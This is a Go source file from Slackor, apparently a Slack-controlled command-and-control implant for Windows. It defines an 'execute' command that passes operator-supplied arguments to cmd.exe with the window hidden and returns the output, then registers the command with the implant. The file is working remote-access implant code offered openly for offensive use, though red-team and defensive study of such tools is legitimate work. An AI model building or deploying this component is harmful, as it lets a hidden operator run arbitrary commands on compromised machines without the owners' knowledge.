github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/windows/execute.go (about)

     1  // +build windows
     2  
     3  package windows
     4  
     5  import (
     6  	"bytes"
     7  	"fmt"
     8  	"os/exec"
     9  	"strings"
    10  	"syscall"
    11  
    12  	"github.com/n00py/Slackor/pkg/command"
    13  )
    14  
    15  var cmdName = "cmd.exe"
    16  
    17  // Execute runs an arbitrary command
    18  type Execute struct{}
    19  
    20  // Name is the name of the command
    21  func (e Execute) Name() string {
    22  	return "execute"
    23  }
    24  
    25  // Run runs an arbitrary command
    26  func (e Execute) Run(clientID string, jobID string, args []string) (string, error) {
    27  	cmdArgs := []string{"/c"}
    28  	cmdArgs = append(cmdArgs, args...)
    29  	cmd := exec.Command(cmdName, cmdArgs...)
    30  	fmt.Println("Running command: " + strings.Join(args, " "))
    31  	var out bytes.Buffer
    32  	var stderr bytes.Buffer
    33  	cmd.Stdout = &out
    34  	cmd.Stderr = &stderr
    35  	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    36  	err := cmd.Run()
    37  	if err != nil {
    38  		return stderr.String(), err
    39  	}
    40  	return out.String(), nil
    41  }
    42  
    43  func init() {
    44  	command.RegisterCommand(Execute{})
    45  }